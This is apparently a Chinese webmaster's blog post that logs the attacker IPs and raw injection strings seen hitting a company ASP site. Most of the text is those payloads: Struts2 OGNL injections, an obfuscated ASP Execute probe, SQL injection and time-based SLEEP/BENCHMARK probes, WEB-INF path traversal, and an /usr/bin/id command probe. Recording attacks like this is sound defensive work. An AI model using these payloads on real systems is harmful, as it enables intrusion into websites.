网站注入代码记录
做为一个公司的网站管理员一个字累！防不胜防网站经常遭遇了因攻击注入非法信息，特别是asp网站程序，大量的扫描及注入代码！以下看看入侵是用什么代码注入你的网站！
恶意IP注入
108.162.215.122
162.158.58.97
172.68.132.45
172.68.141.104
172.68.141.20
172.68.142.171
172.68.47.172
173.245.48.139
172.68.132.45
172.68.141.104
172.68.141.20
172.68.141.236
172.68.142.171
172.68.47.172
173.245.48.139
173.245.48.97
180.97.106.163
180.97.106.164
180.97.106.39
180.97.106.163
180.97.106.164
180.97.106.39
000001
000001
000484
000712
000745
Execute (" Execute ("" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""): Execute (""""On Error Resume Next:""""&bd(""""526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229"""")):Response.Write(""""|<-""""):Response.End"")")
${#context[*xwork.MethodAccessor.denyMethodExecution*]=false,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludeProperties={},#a_str=*814F60BD-F6DF-4227-*,#b_str=*86F5-8D9FBF26A2EB*,#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close()}
${@print(md5(812812))}
${@print(md5(812812
%{#context[*xwork.MethodAccessor.denyMethodExecution*]=false,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludeProperties={},#a_str=*814F60BD-F6DF-4227-*,#b_str=*86F5-8D9FBF26A2EB*,#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close()}
%{(#test=*multipart/form-data*).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[*com.opensymphony.xwork2.ActionContext.container*]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType(*text/html
(#context[*xwork.MethodAccessor.denyMethodExecution*]=false,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludeProperties={},#a_str=*814F60BD-F6DF-4227-*,#b_str=*86F5-8D9FBF26A2EB*,#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())(meh)
(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=new java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]=new java.lang.Boolean(true),#_memberAccess.excludeProperties={},#a_str=*814F60BD-F6DF-4227-*,#b_str=*86F5-8D9FBF26A2EB*,#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())(meh)
(SELECT (CHR(113)||CHR(112)||CHR(112)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (4624=4624) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(106)||CHR(106)||CHR(118)||CHR(113)))
(SELECT (CHR(113)||CHR(118)||CHR(122)||CHR(120)||CHR(113))||(SELECT (CASE WHEN (2130=2130) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(122)||CHR(98)||CHR(113)))
(SELECT (CHR(113)||CHR(122)||CHR(107)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (8814=8814) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(120)||CHR(112)||CHR(113)))
(SELECT (CHR(113)||CHR(98)||CHR(113)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (5282=5282) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(98)||CHR(106)||CHR(113)))
(SELECT CHAR(113)+CHAR(112)+CHAR(112)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (4070=4070) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(106)+CHAR(118)+CHAR(113))
(SELECT CHAR(113)+CHAR(118)+CHAR(122)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (9952=9952) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(122)+CHAR(98)+CHAR(113))
(SELECT CHAR(113)+CHAR(122)+CHAR(107)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (8386=8386) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(120)+CHAR(112)+CHAR(113))
(SELECT CHAR(113)+CHAR(98)+CHAR(113)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (7434=7434) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(98)+CHAR(106)+CHAR(113))
(SELECT CONCAT(0x7162716271,(SELECT (ELT(7981=7981,1))),0x7176626a71))
(SELECT CONCAT(0x7170707671,(SELECT (ELT(3194=3194,1))),0x716a6a7671))
(SELECT CONCAT(0x71767a7871,(SELECT (ELT(6582=6582,1))),0x71707a6271))
(SELECT CONCAT(0x717a6b7071,(SELECT (ELT(5363=5363,1))),0x717a787071))
*
*]
*+(#context[*xwork.MethodAccessor.denyMethodExecution*]=false,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludeProperties={},#a_str=*814F60BD-F6DF-4227-*,#b_str=*86F5-8D9FBF26A2EB*,#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())+*
*+(#context[*xwork.MethodAccessor.denyMethodExecution*]=false,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludeProperties={},#a_str=*814F60BD-F6DF-4227-*,#b_str=*86F5-8D9FBF26A2EB*,#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())2
*+(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=new java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]=new java.lang.Boolean(true),#_memberAccess.excludeProperties={},#a_str=*814F60BD-F6DF-4227-*,#b_str=*86F5-8D9FBF26A2EB*,#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())+*
*+(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=new java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]=new java.lang.Boolean(true),#_memberAccess.excludeProperties={},#a_str=*814F60BD-F6DF-4227-*,#b_str=*86F5-8D9FBF26A2EB*,#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())2
../../WEB-INF/web.xm
../../WEB-INF/web.xml
../../WEB-INF/web
..\..\WEB-INF/web.xm
..\..\WEB-INF/web.xml
..\..\WEB-INF/web
/**/cOnVeRt(int,(char(33)+char(126)+char(33)+(char(65)+char(66)+char(67)+char(49)+char(52)+char(53)+char(90)+char(81)+char(54)+char(50)+char(68)+char(87)+char(81)+char(65)+char(70)+char(80)+char(79)+char(73)+char(89)+char(67)+char(70)+char(68))+char(33)+char(126)+char(33)))
/../../WEB-INF/web.xm
/../../WEB-INF/web.xml
/../../WEB-INF/web
/usr/bin/id
;${@print(md5(812812))};//
;${@print(md5(812812))
\..\..\WEB-INF\web.xm
\..\..\WEB-INF\web.xml
\..\..\WEB-INF\web
\\..\....\\....\\WEB-INF\web.xm
\\..\....\\....\\WEB-INF\web.xml
\\..\....\\....\\WEB-INF\web
\\..\\..\\WEB-INF\\web.xm
\\..\\..\\WEB-INF\\web.xml
\\..\\..\\WEB-INF\\web
];${@print(md5(812812))};//
];${@print(md5(812812))
=
0 ORDER BY 1#
0" ORDER BY 1#
0") ORDER BY 1#
0-(-8281*2)-8281-8281
0) ORDER BY 1#
1 ORDER BY 1#
1"
1" ORDER BY 1#
1") ORDER BY 1#
1-(-8281*2)-8281-8281
1) ORDER BY 1#
1*
-1001
105 AnD BeNChMaRK(2999999,MD5(NOW()))
105&&BeNChMaRK(2999999,MD5(NOW()))
105&&SlEEp(3)
-1051
-1986
-1990
-1998
2 AnD BeNChMaRK(2999999,MD5(NOW()))
2 ORDER BY 1#
2" ORDER BY 1#
2") ORDER BY 1#
2&&BeNChMaRK(2999999,MD5(NOW()))
2&&SlEEp(3)
2-(-8281*2)-8281-8279
2-(-8281*2)-8281-8281
2) ORDER BY 1#
-2000
-2003) ORDER BY 1#
-2003
-2995
-2997
2and1=1
2AND1=1
2and1>1
3 ORDER BY 1#
3" ORDER BY 1#
3-(-8281*2)-8281-8281
3) ORDER BY 1#
-3000
-3918
392 AnD BeNChMaRK(2999999,MD5(NOW()))
392&&BeNChMaRK(2999999,MD5(NOW()))
392&&SlEEp(3)
-3921
-3994
-3998
4-(-8281*2)-8281-8281
-4001
-4003
-4102
-4104
-4111
-4112
-4113) ORDER BY 1#
-4119
-4127
-4128) ORDER BY 1#
-4553
-4557
-4558
456 AnD BeNChMaRK(2999999,MD5(NOW()))
456&&BeNChMaRK(2999999,MD5(NOW()))
456&&SlEEp(3)
-4568
-4569
-4573
-4599
460 AnD BeNChMaRK(2999999,MD5(NOW()))
460&&BeNChMaRK(2999999,MD5(NOW()))
460&&SlEEp(3)
-4604
461 AnD BeNChMaRK(2999999,MD5(NOW()))
461&&BeNChMaRK(2999999,MD5(NOW()))
461&&SlEEp(3)
-4610
-4611
-4624
-4628
463 AnD BeNChMaRK(2999999,MD5(NOW()))
463&&BeNChMaRK(2999999,MD5(NOW()))
463&&SlEEp(3)
-4633
-4669
467 AnD BeNChMaRK(2999999,MD5(NOW()))
467&&BeNChMaRK(2999999,MD5(NOW()))
467&&SlEEp(3)
-4676
-4677
467cp.asp?lx=big
-4689
-4696
-4774
-4777
478 AnD BeNChMaRK(2999999,MD5(NOW()))
478&&BeNChMaRK(2999999,MD5(NOW()))
478&&SlEEp(3)
-4789
479 AnD BeNChMaRK(2999999,MD5(NOW()))
479&&BeNChMaRK(2999999,MD5(NOW()))
479&&SlEEp(3)
-4797
-4799
-4832
-4835
484 AnD BeNChMaRK(2999999,MD5(NOW()))
484 AND SLEEP(5)-- xJzB
484 AND SLEEP(5)
484 ORDER BY 1-- FloG
484 ORDER BY 1-- rIqq
484 ORDER BY 1#
484&&BeNChMaRK(2999999,MD5(NOW()))
484&&SlEEp(3)
484-(-8281*2)-8281-8281
484)
484) ORDER BY 1-- PWWX
484) ORDER BY 1#
-4841
484cp.asp?lx=big
485?newsid=485
-4860
-4909
491 AnD BeNChMaRK(2999999,MD5(NOW()))
491&&BeNChMaRK(2999999,MD5(NOW()))
491&&SlEEp(3)
-4911
-4990
-4994
-4999
5-(-8281*2)-8281-8281
-5002
-5005
-5018
502?newsid=502
-5026
-5028
503-(-8281*2)-8281-8281
-5030
-5032
-5047
-5106
511 AnD BeNChMaRK(2999999,MD5(NOW()))
511&&BeNChMaRK(2999999,MD5(NOW()))
511&&SlEEp(3)
-5113
-5119
512 AnD BeNChMaRK(2999999,MD5(NOW()))
512&&BeNChMaRK(2999999,MD5(NOW()))
523?newsid=523
-5231
-5232
-5234
-5685) ORDER BY 1#
-5815
582 AnD BeNChMaRK(2999999,MD5(NOW()))
582&&BeNChMaRK(2999999,MD5(NOW()))
582&&SlEEp(3)
-5821
-5824
-5838
-5841
-5852
-5855
586 AnD BeNChMaRK(2999999,MD5(NOW()))
586&&BeNChMaRK(2999999,MD5(NOW()))
586&&SlEEp(3)
-5861
-5900
-5903
-5909
591 AnD BeNChMaRK(2999999,MD5(NOW()))
591&&BeNChMaRK(2999999,MD5(NOW()))
591&&SlEEp(3)
-5910
-5920
-5921
-5922
-5923
-5928
593?newsid=593
-5933
-5958
596?newsid=596
-5963
-5964
-5969
-5971) ORDER BY 1#
-5973
-5974
-5979
-5987
-5989
599 AnD BeNChMaRK(2999999,MD5(NOW()))
599&&BeNChMaRK(2999999,MD5(NOW()))
603 AnD BeNChMaRK(2999999,MD5(NOW()))
603&&BeNChMaRK(2999999,MD5(NOW()))
603&&SlEEp(3)
-6030
-6031
-6037
-6039
-6044
-6046
-6047
-6049
-6051
-6056
-6069
607?bookid=607
-6072
-6074
-6077
-6080
-6088
-6091
-6093
-6094
-6096) ORDER BY 1#
-6098
-6144
615 ORDER BY 1#
615-(-8281*2)-8281-8281
615) ORDER BY 1#
-6174
-6179
618-(-8281*2)-8281-8281
-6184
-6189
619 ORDER BY 1#
619" ORDER BY 1#
619") ORDER BY 1#
619-(-8281*2)-8281-8281
619) ORDER BY 1#
619?newsid=619
-6190
-6192
-6194
-6199
620?newsid=620
-6206
-6207
-6210
622?newsid=622
-6224
-6257
-6259
626 AnD BeNChMaRK(2999999,MD5(NOW()))
626&&BeNChMaRK(2999999,MD5(NOW()))
626&&SlEEp(3)
-6261
-6266) ORDER BY 1#
-6266
-6267
-9981
-9986
-9987
-9989
-9992
-9994
-9995
BchR1FPK
big ORDER BY 1#
big" ORDER BY 1#
big") ORDER BY 1#
big&
big) ORDER BY 1#
command
data://text/plain
Execute (" Execute ("" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""): Execute (""""On Error Resume Next:""""&bd(""""526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229"""")):Response.Write(""""|<-""""):Response.End"")")
set
string:{var_dump(md5(81281
string:{var_dump(md5(812812))}
UTF-8
WEB-INF/
WEB-INF/web.xm
WEB-INF/web.xml
WEB-INF/web
WEB-INF\web.xm
WEB-INF\web.xml
WEB-INF\web
x||set||x
总之，特殊字符用得最多！
- 电脑访问： http://114.cq3a.com/artinfo/4923.html
- 上一篇： 《复联4》电影成票房冠军《何以为
- 下一篇： iPhone苹果手机夸大电池续航
- 本站搜：网站注入代码记录
站长资讯相关目录资讯
- 7月2日B站崩了小红书也崩了1216
- 20230910恶意扫描IP地址594
- 重庆分类目录网被拦截原因490
- 分类目录网站连续几天受攻击803
- 116.179.33.是百度蜘蛛1021
- 2023年2月网站攻击IP地址636
站长资讯最新浏览资讯
- 美国客机和军机相撞事故44
- 煤矿及矿山调度电话双回路线路解决282
- 重庆弱电工程光纤电话程控交换机解316
- 2024重庆高考总人数35万本专1308
- 2024年重庆通信设备程控交换机1313
- 7月2日B站崩了小红书也崩了1216
最新目录资讯
- 美国客机和军机相撞事故44
- 煤矿及矿山调度电话双回路线路解决282
- 重庆弱电工程光纤电话程控交换机解316
- 2024重庆高考总人数35万本专1308
- 2024年重庆通信设备程控交换机1313
- 7月2日B站崩了小红书也崩了1216
资讯浏览排行榜
- 网络小说禁止名单（40部）33379
- 李采潭作品集列表20849
- 好用的BT磁力搜索种子搜索引擎17620
- 成都美女游泳狂欢图16122
- 2019年电影网站排行榜14870
- 不怕*光那些女明星当众豪放脱底裤11993
. 分类目录网 请求删除或举报网址
www.023dir.com m.023dir.com api
. 页面访问 0.853028 秒 . 共有219人在线